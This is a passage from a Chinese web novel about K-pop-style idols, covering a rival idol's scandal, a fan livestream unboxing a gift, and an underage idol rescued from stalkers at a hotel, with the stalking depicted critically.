队友粉们有幸灾乐祸的，有担心是不是蛇鼠一窝，自己粉的爱豆也是这样的人的；更多的是担心徐出事儿之后影响到整个团印象的，最主要的是担心影响自担。 吃瓜群众们毫无顾忌，一条博文被他们转出几万条。 江翰飞的小蝴蝶们也终于搞清楚了，为什么自家Fly姐的博文会涌入这么多脱粉的粉丝。 在爆文词条的第二条，就是营销号的引流博文。发的很迅速，几乎是踩在徐寂岸塌房词条上热搜的时间点就同时截图了Fly姐的博文，做了一张对比两家站姐的博文对比图，带着简介却算挑事儿的文案：来品。 一夸一锤，这样的拉踩手法是他们常用的，只是这个时间点和事件不是拉踩，是帮江翰飞直接踩着徐寂岸上位了。 乐狮做梦都得笑醒，看这营销号的博文差点以为是自己公关部发的——外人能这么热心肠帮你免费引流？ 也因为这条博文，不少徐寂岸的粉丝和大量吃瓜路人能顺腾摸瓜摸到朱朱的博文下。 搞清楚事情原委，小蝴蝶们一时间不知道该哭还是该笑。 江翰飞受伤，自家大粉发感慨的博文，然后被一个营销号拿来与一个刚塌房的前辈做对比。 真是既舍不得这天降的流量，又担心这个塌房事件会给江翰飞带来不好的影响！ 不比小蝴蝶们的纠结，乐狮很快做出反应，给徐寂岸的词条加了火，还单独给这条拉踩的博文买了流量，帮助他一直呆在热门里。 除了乐狮，其他公司有能力落井下石的也不遑多让，纷纷做了和乐狮一样的决定，不光是给塌房词条加热度，还把其他成员拉下水，争取能直接摁死一个热门男团，好接盘他们的粉丝。其中不少公司学着这个营销号的拉踩对比博文发出更多的对比博文，无非就是自家爱豆的好对比徐寂岸，可惜没赶上好时间，虽然也有流量但总比不过热门那条。 一时间，徐寂岸迎来他偶像生涯中最有牌面的绝响，#徐寂岸私联 #徐寂岸塌房 #徐寂岸违法等带有他名字的词条占据了热搜前排，总阅读量是他以前买热搜词条的几百倍。 “好家伙，这牌面[狗头]” “有点被恶心到，这种人也能有粉丝？” “一想到这种人一年能挣个几千万，我的内心极度不平衡。[挥手]” “穿着同一件衣服带着不同的女生啊？同一天？” “这人我没记错之前就塌了吧？不是之前就爆他有好几个女友吗？这样的你们还能继续吃得下？” “不仅吃得下，还吃得很香，他甚至是他们团的Top，就问离谱不离谱！！” “当时女友的事件道歉了，说是压力大所以交了女友，是在不同时间也已经分手，以后会好好专心事业。这就是他的专心事业呵呵，幸好我脱粉早。” “等等，之前爆的恋爱女友当事人发文了！” 第60章 (含部分粉丝直播内容不喜可跳 @dauigiuasbc：我是当时这件事的当事人，自证放P1。时隔几年，我终于敢站出来说这件事。 首先我们不是被他招女票，当时我们都以为自己和他是正常的恋爱关系。其次，我们也不是恋爱，我们是被骗！！而且我们之间不知道对方的存在。最后，他真的是个垃圾。[图]*9 这个小号直接发了当时徐寂岸与她的合照，聊天记录，礼物，甚至是在他当初恋爱事件塌房时收到的其他几个女孩子的消息，有让她不要说话不要承认的，有关心她情况的，也有求她不要毁掉徐寂岸的。 徐寂岸塌房这把火越烧越旺，网友们越扒越有。 KtR的运营公司发现没法救，迅速把徐寂岸和现在幸存的几人割席，把他从团内除名，并且以公司的名义正式对徐寂岸提起诉讼。 表现出不知情且强硬的态度，以期能挽回对团内剩下几人的信任。 这把火在网上烧了一整天，到最后连废墟都不剩。 徐寂岸火速发道歉声明，重点是队友和公司不知情，然后退团注销账号，直接变成飞灰消散在人前。 江翰飞也许是前面十几年过得太苦，老天有心想补偿他。 朱朱的博文刚好就被营销号看到并截取出来做对比，还踩着点上热门。导致徐寂岸塌房吸引来的这波流量不少顺着营销号博文流入了江翰飞的团内。 团队的账号粉丝量和超话粉丝量再涨一波，现在的体量虽然和大势男团不能比，但已经足以比肩出道两三年有名有姓的男团前辈；当然江翰飞的个人粉丝量增长是最凶猛的，本就在出道专结束后成为团内粉丝量最高的成员，现在又涨一波，看得不少在持续关注他的对家公司甚至是队友粉泛酸，凭什么这样的好事儿轮不到自己/自家爱豆头上！ 而刚结束第二场打歌的江翰飞他们刷到徐寂岸的结局，车内又是一阵相对无言。 不过这次大家都是冲着禹安去的。 先前禹安就说过，当初的当事人就是他的朋友。 “看什么看。”禹安看他们一眼，满身不自在，“上次不都跟你们讲过了吗？” “就是她。” 他语气缓和，带着几分不可查的欣慰，“过年之前就跟我发消息，说是准备开启新阶段了。” “虽然我也没想到她真的有勇气站出来说，但还挺欣慰的，有种女儿长大的感觉。” “每次都是这种负面的事件出圈，搞得不了解的路人对我们圈内人的印象很差。”吴星雨扒拉两下头发，“那么多好前辈做的好事儿怎么就传不出去呢？” “你是不是傻，没听过好事不出门，坏事传千里吗？” 几人插科打诨，没再提这个话题，车内又恢复正常打闹的氛围。 只有江翰飞还拿着手机在刷。几人见状也没说什么，反正现在网上都是徐寂岸塌房和心疼江翰飞，说他好话，没什么好担心的。 江翰飞点进朱朱的博文，仔仔细细看了好几遍，又点进评论区挨着看，总算在到达公司之前把博文的所有评论看完，退出之前截图保存不少。 于立果下车时瞥见，疑惑，“你这是干嘛？” “没什么，就是觉得很有意义，想存下来。”江翰飞单手熟练操作，把截图放进一个专门的文件夹里。 里面除了一些他留存下来的粉丝网上讨论，还有不少拍粉丝来信的图片。 因为江翰飞受伤，从第二场打歌开始，SterLa-粉丝团里来得最多的就是江翰飞的小蝴蝶们。他们很关心江翰飞的情况，每次到互动环节，或者上下班路都会问江翰飞的手有没有好一点，让他早点把手套摘下来透透气之类。 江翰飞每次都很耐心地听，只要有时间就会一一回答，直到他上车之后再跟他们挥手告别。 最后末场打歌时，小蝴蝶们收到了来自SterLa-的特别反应援礼物。 在发的时候他们还特地嘱咐，最好拿回家再拆。 虽然心痒痒，但是粉丝们都很配合的没拆，拿回家之后，有一位粉丝心血来潮打开直播拆反应援礼物。 【SterLa-末场反应援礼物直播拆箱】 直播标题起的简单朴素，但因为新直播间的推流机制，一时间也涌入不少人。 【这是什么直播间？】 【Sterla是谁？反应援？怎么又是反又是礼物的。主播能不能解释一下？】 【啊啊啊啊，居然有姐姐在直播拆箱！】 【快快快，我好急，我是急急国王，真的好好奇是什么！】 【SterLa-？是那个开麦率很高的男团吗？】 【不是开麦率很高，是全开麦噢[可爱笑]】 【主播人呢？说话呀？】 “我在我在，我刚刚找剪刀去了。” “呃，这不是什么专业直播间，SterLa-是一个偶像男团，有颜值有实力，超强团魂，入股不亏！” “别急，我现在就拆。” 【快拆快拆，等好一会儿了！】 【我来了，听说这里有直播拆箱】 刷到这个直播间的小蝴蝶们呼朋唤友，没一会儿直播间人数就涨起来。还因为大家的热情互动发弹幕，平台又给直播间推送了一波流量过来。 粉丝房主拆开包装纸，里面是常见的像是快递箱的小纸箱，体积不算很大，拿在手里也不沉。 【这是什么东东，看上去不像是常见的化妆品礼盒。】 拆盒的粉丝也茫然：“我也不知道，” 拿着剪刀拆开塑封，从里面拿出来一个白色硬壳纺织包。 粉丝房主：？ 粉丝：？ 路人：这是急救包？ 被路人提醒，房主把包提起来一看，里面还真是一个便携随身急救包。 白色外壳上有红色的十字架，空白角落处画着几人的Q版小人儿。 “啊啊啊，有他们的Q版，好可爱！！”粉丝房主看到角落的几个Q版小人一下子激动起来，把外壳怼到手机镜头前，“能看见吗能看见吗？” 【好！可！爱！我是大学生，能不能免费给我】 【呜呜呜我后悔了，去了三场打歌，就是没去末场呜呜呜！！】 【出吗？可以开价。】 粉丝房主没看到这些弹幕，她还在自顾自激动地介绍每一个人的Q版，都介绍完一轮后又把包打开，取出里面的东西一一放在桌面上。 除了外包装，竟然连里面的所有配置包装空白处都加了小小的SterLa-几人的Q版小贴纸，还因为不同的东西，有不同的形态和表情。 房主被萌得心肝儿颤，完全不看弹幕，沉浸在自己开心的世界里。 【嫉妒几个字我说累了】 【真的好用心啊】 【这急救包上的Q版怪好看的，是什么IP吗？】 【嘿，你们SterLa-真的脑回路很神奇，反应援礼物居然送急救包。】 【出吗？】 在OK绷带和消毒棉签的外包装上贴着江翰飞的Q版，OK绷带包装上贴着他哭兮兮掉眼泪的小贴纸和两只手比OK的小贴纸，消毒棉签上贴的是他叉腰气鼓鼓的小贴纸和心疼吹气的小贴纸。 【萌得我心肝儿颤！】 【这几个表情大概永远不能从真实的阿飞表情上看到，太萌了呜呜呜】 【不会的，等待出奇迹】 【宝宝宝宝太可爱了，妈妈亲亲！】 【出吗？】 粉丝房主激动完之后才想起自己还开着直播，往上翻弹幕。 被一阵羡慕嫉妒的言论逗得乐不可支，开心的和弹幕聊天。 【出吗只给我包装就行】 粉丝房主：“不好意思，不出哦。” “这么可爱又特别的礼物，我是不会卖哒！” 【嘤T T】 别出心裁的反应援让SterLa-又在粉圈内狠狠刷了一波知名度。 谁能想到给粉丝准备急救包啊？而且一看就是特意准备的，连外包装都是有定制印刷的。 SterLa-的粉丝们对这特殊的反应援礼物爱不释手，又实用又可爱又特别，这谁能看到不迷糊！？反正他们不能，已经快被Q版的几人迷晕了！小贴纸的神态动作可爱得让人恨不得能捏捏他们的小脸儿。 二手市场上反应援礼物炒出高价，但舍得出的少之又少。最后价格实在高得离谱，还让团队官方账号都下场呼吁谨防诈骗。 江翰飞看到大家拆开礼物开心或者炫耀反馈，唇角一直带着笑。 这个反应援礼物还是他提出的，受伤之后想着如果万一粉丝们在外面遇到紧急情况，也能先处理一下。君君姐和队里的哥哥们也立马同意了。现在见到粉丝们收到也很开心，他心里也满满涨涨。 正看得开心，手机顶部突然跳出来一条微信消息提示。 时元：飞哥，你有时间吗？ 今天结束末场打歌，因为最近风波声浪大，他们最近也没什么安排，公司难得给他们放了两天假，今天乐狮在公司准备了小型的庆功宴，今晚吃完庆功宴就能好好休息两天。 江翰飞：有的，怎么啦？ 时元：飞哥，咱们能见面吗？ 江翰飞看着时元的消息觉得不对劲儿。时元的性格，不会说这样的话。他只会开开心心地问他什么时候可以一起见面。 江翰飞先回复：好啊，你回公司吗？ 看着上方一直‘对方正在输入’的状态，江翰飞开始往上翻聊天记录。 上次和时元聊天就在他受伤的事情传出去，时元很担心他，当天不仅在微信上给他发消息，还跟他打了视频电话一定要看他是不是真的是小伤。后来还是于立果过来作保说很快就会恢复才作罢。 江翰飞回想当时和他视频的时元。 刚从舞台上下来，还化着浓重的舞台妆，平时的风格很不一样眼线涂得很深，眼里都是紧张和担心。 好像没有什么异样。 江翰飞蹙眉，见对话框还在显示正在输入中，又抬头看了眼于立果，主动打字说道；或者你在哪儿，我去找你。 ‘对方正在输入’的状态终于停止，等了半晌，时元发过来一个地址：XX酒店A706号房。 江翰飞马上回复：好，等我，我待会儿就过来。 60-70 第61章 回复完的江翰飞立即跟唐君君和吴星雨请假，以自己伤口的痂有些撕裂为由，得先去医生那儿一趟处理下再去庆功宴。 这是江翰飞第一次撒谎，脸上故作镇定的时候食指在看不见的地方一直扣着手掌心。 他想，现在时元特意单独联系他，情况似乎也不太对劲。自己得去看看什么情况再斟酌要不要寻求大家的帮助。 吴星雨拉过他的手背，紧张地仔细查看伤口，结痂边缘处确实有撕裂的痕迹，微微泛着红，忙说要跟他一起去，被江翰飞连连摆手拒绝。 吴星雨和唐君君见伤口没渗血，也没完全撕裂开，确实只是小问题，就放江翰飞一个人去了。 反正庆功宴不是什么正式的活动，只是公司给他们的福利，让他们吃吃喝喝放松一下。就算江翰飞晚半个小时到也没什么问题。 几人在公司化妆间卸完妆，换回常服。分成两队，唐君君带着江翰飞以外的人去参加庆功宴，江翰飞则匆匆跟队友们打过招呼，直奔酒店。 正好他今天穿的卫衣，带上帽子和口罩，几乎遮完整张脸。 坐在出租车上时，时元又给他发消息：飞哥我刚刚睡迷糊了，现在没事儿，你别过来了。 江翰飞收到消息后却越发觉得不对，心里更是担心。一边回问时元还在不在那个酒店，一边催促着司机师傅开快些。 到酒店车库下车，江翰飞发现有几个人蹲在电梯处，都戴着帽子和口罩，从帽子下露出的长发来看，大概是女生。 他们都看着手机消息，时不时抬眼互相交换眼神，又一同低头打字。 这古怪的氛围和被围住的电梯让他脚步一顿，犹豫着要不要换成从酒店正门进去。正好又有一辆车开过来，下来一对挽着手的情侣。 情侣两人黏黏糊糊从江翰飞身边经过，若无旁人地朝着电梯走去。 江翰飞急忙顺势跟在两人身后。 到电梯附近时，被挽着的男人扫视一圈围坐在电梯口的人，竟习以为常的又收回视线，小声地跟女伴吐槽一句，“这些粉丝真疯狂。” 江翰飞这才明白过来这些围坐在这里的人居然是粉丝。 不对，他们大概是私生吧？ 这是一家高级酒店，地下车库是私有车库，不对外开放。所有需要进入地下车库的车，要么是泊车小弟停进来，要么需要出示房间二维码扫码才能进入。哪怕是人进入车库，也需要扫码。站在车库入口旁的安保人员不是吃素的，检查得尽职尽责，没有记录说什么都不会让进。 也就是说，这几个女孩子，至少是订了这里一天的房才能蹲在这儿。 一间房一天两千起底。订房不去房间，却在车库的电梯出口这样蹲着。 他们绝不会是一般的粉丝，只能是私生。 托小情侣的福，后续一路顺利地到达时元所在的房间外。 江翰飞敲门。 等了一会儿，门却没开。 江翰飞又转而给他发消息：小元，我到你酒店房间门外了，你开门。 发消息过去几分钟后，江翰飞听见门传来窸窸窣窣的声音，是门后的防盗锁的声音。 锁链声音停住，江翰飞耐心地等着，半晌门打开一个小小的缝隙。 时元从缝隙里露出一双红肿的眼睛。 见真的是江翰飞，时元立即把他拉开，将他拽进进门内，又干脆利落地关上门。 江翰飞被拽得一个踉跄，站稳抬头，发现屋内的昏暗。 窗帘都拉得严严实实，开着床头灯，床上凌乱，时元估计刚从被子里爬起来。 时元本身也一副憔悴的模样。 他本就偏瘦的身材现在更是消瘦，以前合身的睡衣穿在身上空荡荡，两颊可爱的婴儿肥不见了，只剩下眼下浓浓的黑眼圈。 江翰飞一见时元的样子，眉心不自觉皱起。上次打视频时元做着舞台妆造，还看不太出来，现在素颜的样子却明显消瘦得可怕，眼睛红肿，应该是哭过。 怎么回事？小元怎么会瘦得这么厉害？他们的经纪人人呢？公司的负责人呢？ 想着，江翰飞就问了：“小元，你这是怎么回事？怎么瘦得这么厉害？” 时元眼巴巴地望着江翰飞，看着看着，鼻子就开始泛酸，眼睛兜不住眼泪，咧着嘴眼泪就唰唰地顺着脸颊流下。 江翰飞蹙着眉拍拍他的背做安慰。 哭得满脸泪的时元吸吸鼻子，正准备开口，门口又传来‘笃笃笃’的敲门声。 时元像是惊弓之鸟，飞速转头看向门口，被吓得一动不敢动，右手不由自主地抓住江翰飞胳膊上的衣服，死死地捏紧。 江翰飞发现时元神色惊恐，看看门外又转头看着时元，微微弯腰和时元平视，缓声问道，“外面是谁？需要我去开门吗？” 时元一听立即惊叫：“不要！不要开门！！” 说完才反应过来自己声音很大，又低声对着江翰飞道歉。 “对不起飞哥，我不是故意朝你大声的。”时元头埋下去，他身高还只有一米七出头，站在一米八二的江翰飞身前埋着头，江翰飞一点他的神色都看不见，只能看到滴滴答答的落到泪地板上变成一个个深色小点。 环顾一下房间，找到茶几前放纸巾的地方，江翰飞抽出几张纸巾递到时元眼下。 时元接过纸巾，擦擦眼泪，带着浓重的鼻音抬头说道，“外面都是私生。” “他们一直敲我们，给我的房间打电话，给我的手机不停地打电话，还给我的手机发信息。” “我屏蔽不过来。” 时元越说越觉得委屈。 他虽然小，但在练习生时期也听过不少八卦，知道私生这种人的存在。他以为自己做好准备当偶像的，但没想到私生能这么疯狂。 “他们不知道怎么知道我住这间房的，从早上开始就一直有人敲我的门。” 时元他们昨天去海外参加拼盘演唱会，今天早上的飞机刚落地，两天后这里还有一场慈善演出，明天一早就得彩排。今天的时间名义上说给他们放假，实际上是给他们倒时差。却没想到刚住进来就一直有人敲他的门。 第一次他不知道，睡得懵懵的就去开门，开了一个小缝就听见尖叫声。幸好忘记取防盗链，他又反应快，在听见声音的第一秒直接关上了门。 关门后他靠在门上完全清醒过来，被吓出一身冷汗。 刚刚那是私生？ 私生们被他开门的举动刺激，更加疯狂。开始用拳头砸门，一刻不停地拨打他的酒店电话，又不知道从哪儿弄到了他们的手机电话号码，打电话他拉黑一个就换一个号，后来变成给他手机发短信，有在他房间门口的图片，在楼下电梯口的图片，还有对面酒店能看到他这扇窗户的图片。 时元拔掉酒店电话线，他抖着手给团队经纪人发信息，但对方到现在都没回复。 他缩在床上被子里，想给团队里的人发信息，但想到台下他们不冷不热的态度又退出和他们的聊天界面。 转去在网上搜索遇到私生的解决办法，没有搜到可以参考的答案，直到在网上看到飞哥的消息，迟疑好久才敢给江翰飞发消息。 发过去没多久，门口的私生又在发疯，敲他的门，还大声喊他的名字。 时元开始后悔，担心江翰飞过来正好遇见这波私生，反而害得江翰飞被围困，又赶紧发信息让江翰飞别过来了。 没想到最后飞哥还是来了。 时元一边擦眼泪一边想到。 江翰飞冷脸听完时元抽抽噎噎的讲述，一股怒火从内心升腾。 时元他还没有成年！他今年12月才满18岁，这些私生知道他的年纪，还这样围着他给他施压？ 而他的团队经纪人就这样把他扔在私生的包围里，在干什么？！ 已经很久没有这么生气的江翰飞努力克制住自己的火气，带着时元坐到沙发上，递给他一瓶酒店的水。 时元喝水之后紧绷的胳膊和背慢慢放松，靠在沙发上。 “你先别着急。”江翰飞坐在他旁边，把他的电话线重新接上。 时元见状想阻拦，被江翰飞躲过，“你在沙发上坐会儿，休息一下，什么都不要想。我先处理。” 时元看着江翰飞严肃的神色，缩回手，抱着水在沙发上慢慢喝。 果然一接上电话线，立刻有电话接了进来。 江翰飞接了，电话那头是个女生，一听接通了，立刻尖叫起来：“时元！时元你” 不等她说完，江翰飞挂了电话，但是没有把话筒放回电话上，这样对方就打不进来。 不多会儿，门口果然又传来了砰砰砸门的声音。 江翰飞立刻拨通酒店前台的电话，说是自己门口有不不认识的在闹事儿，要求保安把他们清理出去。 酒店前台一边接电话，一边查看楼层监控。 发现确实有几个人围在对方门前一直砸门，连声道歉，应诺会立即叫保安把人请走。 江翰飞听酒店答应后按下挂机键，还是没有把听筒放回去，又转而拿起手机开始打电话。 唐君君接的很快，“君君姐。” 江翰飞很少单独给她打电话，唐君君还以为是他那边处理伤口出什么问题了现在还没过来，紧走几步转进一个安静的角落，“怎么了？你伤口出什么问题了？” “没有。”江翰飞言简意赅，“我现在没在公司，在时元这儿。我和他被私生围在酒店出不去了。” 唐君君眉毛先是一挑，又很快皱起，“你怎么去他那儿了？” 没等江翰飞多解释，她又说道，“等会儿，我跟公司沟通一下。你们两个不要出去，也不要做任何回应举动，我来处理。” 说完唐君君挂断电话，给负责时元的经纪人打电话，直到自动挂断都无人接听，唐君君心里有了几分猜测，又转而直接给刘部长去了电话。 刘部长知道情况后很干脆，全权交给她处理，让她先把两人带回来。 有部长顶锅，唐君君立即去安排人手。 第62章 时元在一旁怔愣地看着自己飞哥挂断电话，有些担心，“飞哥，你悄悄过来这边还给经纪人说，不会有问题吗？” 他又开始自责，还是不该跟飞哥说的。他们现在不是一个团队，管理的人员也不一样，让飞哥帮忙只会把他的事儿也耽误了。 “别想太多。”江翰飞揉揉时元脑袋，“不是你的问题，不要把责任揽在自己身上。” “这是你于哥经常跟我说的话，我受教了，你也多听听。” 听到另一个熟悉的名字，时元紧绷的神经松缓一下。 很快门口的砸门声停了，尖利的叫喊声也越来越远。 大概是酒店这边已经把人请出去了。 但他不准备这个时候带着时元出去，谁知道他们在楼梯这些地方有没有藏着呢。从来的时候看到对方堵在车库电梯口，江翰飞就不敢小觑这帮疯狂的人。 时元手紧紧攥着手机，眼睛睁得大大的。 从江翰飞的角度望过去，时元和当初第一次见到的小朋友重合了。 虽然眼睛都圆溜溜睁着，但那时候的小朋友脸上有着婴儿肥，眼神里没有紧张和警惕，只有好奇和疑问。 看着时元突出的锁骨，江翰飞再给负责时元的经纪人记了一笔，转移时元注意力，“你先换衣服吧，把行李收拾一下。待会儿公司的人会来接我们。” 时元乖乖地去换衣服，换好常服探个头过来问，“飞哥，我收拾行李是和你一起回公司吗？” 见江翰飞点头，又低头说道：“可是我们团明天有安排彩排，后天有定好的演出。” 已经定好的演出肯定不能说不参加就不参加。 “明天你们彩排前再把你送回来。” 听江翰飞这么说，时元放心地收拾行李去了。 本来他们公司就在本地，他可以回宿舍住的，只是团队经纪人说统一安排团队住宿，他才听安排住在酒店。 酒店离公司不远，唐君君的速度也很快。 时元收拾好东西没一会儿，就听见轻轻地敲门声。 江翰飞看看收到的信息，打开门果然是唐君君带着几个公司的安保人员。 唐君君扫了两人几眼，没什么外伤。 朝着走廊点点下巴，“走吧，我们从酒店厨房小门走。” 酒店只能把人驱逐出去，管不了酒店外的事儿，来的路上看到还有好几个人在酒店大门口徘徊，自然是不能走大门的。 和酒店经理沟通之后，对方答应让他们从厨房的小门出去。 时元没有见过唐君君，只知道她是飞哥的经纪人，不敢多话，紧贴在飞哥身侧跟他走。 倒是唐君君早在他们练习生时期就熟悉时元和江翰飞，见到时元现在的状态也是脸色不好。 时元是个好苗子，不然公司也不会给他上热门选秀综艺的机会。 这才出道几个月，人的状态怎么变成这样？ 果然酒店后厨的小门没人蹲守，顺利上车，回到公司。 “今天时间太晚，你们先回去休息吧，有什么事儿明天再说。”唐君君将两人送到出道艺人的宿舍楼下，转向时元说道，“时元你的问题我已经跟公司反馈，安心睡觉，明天早上十点到公司会议室，不知道地址就让江翰飞带你过来。” 江翰飞当然没问题，时元见江翰飞点头也跟着点头答应，“好的，谢谢君君姐。” 走前，唐君君还特地嘱咐一句，“给你个忠告，今天晚上别看手机。” 江翰飞带着时元和唐君君告别，上楼回家。 时元刚出道就被团队经纪人带走，中间连着几个月都在跑行程没回过公司，公司给他分配的宿舍自然也没人收拾，现在估计已经落了一层灰，临时也不适合住。江翰飞在征得队友们同意后，就把时元带回了SterLa-的宿舍。 时元对SterLa-并不陌生。 毕竟有两个相熟的哥哥都在这个团里，他也时常关注这个团的情况。 而时元开门见到的第一个人就是于立果。 于立果是特意在这儿等着的，他冷脸看着时元，心里不满时元出事儿居然不叫他。 时元两个小时前还惊魂未定，这下又被于立果的冷脸看得神色不安，神色惶惶地转头去找身后的江翰飞。 于立果见时元神色不对，发现自己把时元给吓着了，又开始懊悔，自己这个时候跟时元生什么气呢，就一个没成年的小孩儿知道什么。 吐出一口气，伸手揉揉时元脑袋，一边从他手里接过他的行李箱，一边手轻轻推着他后脑勺让他进屋。 “下次有事儿也跟我说一声儿，你于哥白让你叫这么多声于哥吗？” 时元这下知道于立果没生气，放下心来，立刻咧开嘴笑，“好的于哥。” 进门之后吴星雨，葛文山和禹安都坐在沙发上。见时元进来，禹安笑眯眯地跟这个阿飞弟弟的弟弟打招呼，“哈喽小朋友~” 进入江翰飞和于立果的宿舍后，时元仿佛回到安全的巢穴，神情放松，露出几分本来的活泼气，挨着叫人，“山哥，吴哥，安哥好，我是时元。嗯，今天遇到点事儿，想在这儿借住一晚。” “这么乖！居然都认识我们的。江翰飞在你来的路上教你叫人了？”禹安见时元乖乖的样子还挺喜欢，笑着调侃。 “没有没有，我是你们的粉丝！我当然认识你们了！”时元连连摆手，“再说飞哥哪会教我这些。” 禹安和吴星雨就等着听这句，两人一起大笑起来，葛文山也露出个笑摸样，于立果站在一边看热闹。 江翰飞早就习惯这几个哥的调侃，神情淡定，“你先去洗漱吧，我拿我还没穿过的睡衣给你。” 他让时元睡自己的床，自己准备在沙发上对付一晚上。反正他明天早上没什么安排，而且宿舍里的沙发是后来葛文山亲自换的，又大又舒服，放开之后睡个人完全不是问题，所以连于立果也没说什么。 时元推阻不过，躺上床的时候还在担心自己会不会失眠，但不愧是还没成年的青少年，情绪来得快去得快又两天没休息好，没一会儿就睡得死死的。 于立果轻轻拉过房门，SterLa-几人坐在客厅沙发上开始声讨江翰飞。 “你说你这事儿是不是干得不对。”禹安率先发问，“还跟老吴和君君姐说你去医务室处理伤口。” “我们还在等你一起参加庆功宴呢，转个头君君姐就告诉我们你今天被私生围在酒店了。” “就是。”吴星雨接茬，“平时不说什么，这次不找我们帮忙还瞒着我们也太见外了吧。” “最重要的是你也不清楚情况，万一你解决不了呢？”连葛文山都少见地加入了声讨的队伍。 江翰飞坐在单人沙发上老实听训。 在时元面前他是稳重可靠的飞哥，但在自己的团里，他是最小的弟弟。 于立果见江翰飞被训得一声不吭，到底没跟着一起说他，转移话题了解起时元的情况，“小元儿到底是什么情况？” 说到时元的情况，江翰飞还憋着一股气没发，缓了口气，才从收到时元消息说起。 “这些私生也太疯狂了。”禹安恨恨，“没人能管管吗？” “怎么管？”吴星雨无奈道，“酒店也不能进来一个客人就排查一个吧？他们是做生意的，不是给我们当过滤器的。” “小元儿的身体你知道什么情况吗？”于立果相比私生，他现在更担心时元的身体，“刚刚看见他瘦得简直吓人。” 江翰飞摇摇头，“我还没问。” “去的时候他的精神已经非常紧张了，听见敲门声和电话声都会被吓到。” “身体你还用问？”禹安不以为然，“你们又不是没听过选秀团。” “这个出道团的经纪约在青川台，为期两年。但是他们各自单人的经纪约还在公司。” “意思就是如果青川台想赚回更多的钱，当然得趁着这两年的时间使劲儿压榨他们。” 吴星雨以前混过地下街舞，有不少当各个团伴舞的朋友，早先也见他们在群里聊过选秀团的行程，真的是非常紧，有时候连伴舞老师都吃不消，要换成两拨人轮流上，“MD，真不是人，这是都逮着时元弟弟欺负啊。” “有时候私生比粉丝还了解爱豆，他们跟得太紧走得太近。那些私生敢这么做估计就是知道时元的小包子性格。” 至于公司 于立果冷静思索，后面要怎么帮时元摆脱现在的困境。 “难怪时元连春节都没假期。”江翰飞也明白过来，为什么时元这种选秀团的行程这么满。比他们后出道好几个月，但听时元说现在又已经在筹备二专了。在筹备期间还有很多品牌演唱会，拍摄各种代言广告以及杂志和周边的行程。 再对比SterLa-的行程，虽然也很满很累，但大部分时间都集中在练习室和专辑制作。代言到目前为止只接了青山咖啡，杂志和周边被君君姐推掉，说是要等他们二专之后再考虑。 几人沉默无言，特别有默契地一起转头往时元的房间方向望了望。 真是难为一个还没有成年的小男生一个人在外面奔波了。 回过头的江翰飞又难以克制地想起当初在开车时别车的私生和在飞机上遇到的私生。他们似乎有个共同点，就是毫不在意别人的眼光，也不在意被追逐者本身的感受。他们只关心自己，关心自己有没有和爱豆成功搭话聊天，有没有和爱豆进行亲密的接触，每天都活在自己的臆想中。 “为什么会有私生的存在呢？”他真的很困惑，也很难理解，为什么会有这种人存在。 禹安翻个白眼，这谁知道？ “你别想太多。”对着江翰飞的困惑，于立果金句重出江湖。他跟拍时元一样拍拍江翰飞脑袋，“我们也早点休息吧，明天我和阿飞带着时元去会议室，看看公司那边怎么处理。” SterLa-几人散去，各归各位准备睡觉。 他们刚刚结束打歌期，本身也疲惫。今天开开心心参加庆功宴到一半，被君君姐的消息炸得没了继续的心思，一直挂着江翰飞那边的情况。直到江翰飞带着时元回了宿舍才放下心来，加上中间又讨论起时元的事情，到现在已经凌晨一点多，月亮也挂的老高。 第二天一早，天气意外的好。时元睡得太放松太死，还是江翰飞起来叫他一起去的公司会议室。 会议室里唐君君和刘部长都在，还有一个穿着皱巴巴西装的男人和几个他不认识的人。 因为是江翰飞带着时元回的公司，又是唐君君处理的事情。江翰飞也作为当事人和时元一起坐在旁边听公司处理。 “后面小唐你就不用负责时元这边了。”刘部长开口直接免除了时元经纪人的职务，干脆利落，“你到君君手下当助理重新学学怎么当经纪人吧。” “君君你把之前带的那个小刘，给SterLa-当执行经纪人的那个放到时元他们那儿去历练历练。” 时元的经纪人不敢反驳，昨天是他自己出去喝酒喝醉，导致没能收到时元的消息误了事儿，还刚好就被公司上层知道了。只能暗叹一句倒霉。 从助理经纪人升成经纪人他花了四年时间，现在又倒回去做助理经纪人他不服气却不敢不服气，只低着头眼神阴郁地应是。 刘部长懒得理他那点小情绪，没把他开除都是看在他是公司十多年的老员工，从助理做过来的面子上。 唐君君不动声色，心里暗骂刘部长老狐狸。这个小唐和公司另一个管理有关系，刘部长就是想卖对方人情不想开除他，就把人往自己这儿塞。而且小刘她带了好一段时间才带的合心意，现在给出去交接起来麻烦事儿可不少。 刘部长没管下面坐着人的脸色，大刀阔斧的改，没一会儿，几个人的职位调动就做完了。 昨天私生的事儿只是小事儿，哪用得着开会来处理，今天最主要的还是调岗。 小唐他不仅是时元的经纪人，还是乐狮在那个选秀出道团的利益代表。但是看看那个团体经纪人把自家艺人消磨成什么样了？乐狮在里面可不止时元一个人，到时候自家花力气培养的几个孩子，被选秀团的团体经纪人消磨完灵气，消耗掉价值，剩个空壳给他们公司，这不就是半路打劫吗？ 处理完时元的部分，唐君君和刘部长让江翰飞和时元先出去。 “刘哥人挺好的，也很细心。”江翰飞安抚时元，把刘哥的联系方式推过去。 说曹操，曹操到。之前给SterLa-做执行经纪人的刘哥收到消息就开车过来，跟江翰飞打过招呼就带着时元去准备他今天的彩排。他得先把这两天着急的事情处理完，剩下的可以慢慢交接。 江翰飞一个人踱着步走在回公司宿舍的林荫道上，阳光透过树的缝隙洒下来照在脸上也不觉得热，只让人觉得暖暖的。 这条路是通往公司的出道艺人部门的，而出道艺人大多在外奔波，少有回公司宿舍的时候。作为文娱大市，本市集中了大部分文娱资源。目前除了本身打歌和参加演唱会以外，很少接外部综艺和演出的SterLa-大概是在公司宿舍呆的最多的团。 周围很安静，只有他一个人脚步踩在落叶上的沙沙声。 最近事情接连不断，从他的谣言开始，到他们二专开售打歌，受伤，昨天时元又遇到这样的事儿。让他神经一直紧绷着，没个喘息的时间。 好在现在他的伤已经基本痊愈，时元的事情刚刚也解决好，江翰飞放松下来，享受着六月初晨间还没那么毒辣的太阳漫步回了宿舍。 第63章 今天早上他们没什么行程安排，下午有一个公司安排的会议。 江翰飞回宿舍路上接到于立果电话，中午几人打算一起聚餐。 先前拿到一位时葛文山说要去聚餐，因为江翰飞手伤就没去，而昨晚的庆功宴又因为时元的事情大家挂着心也没吃好。 正好今天除了下午的会议和晚上的舞蹈练习也没其他的事儿，宿舍四人起床后商量了一下，跟唐君君报备后开车接上走到宿舍楼下的江翰飞直接吃大餐去。 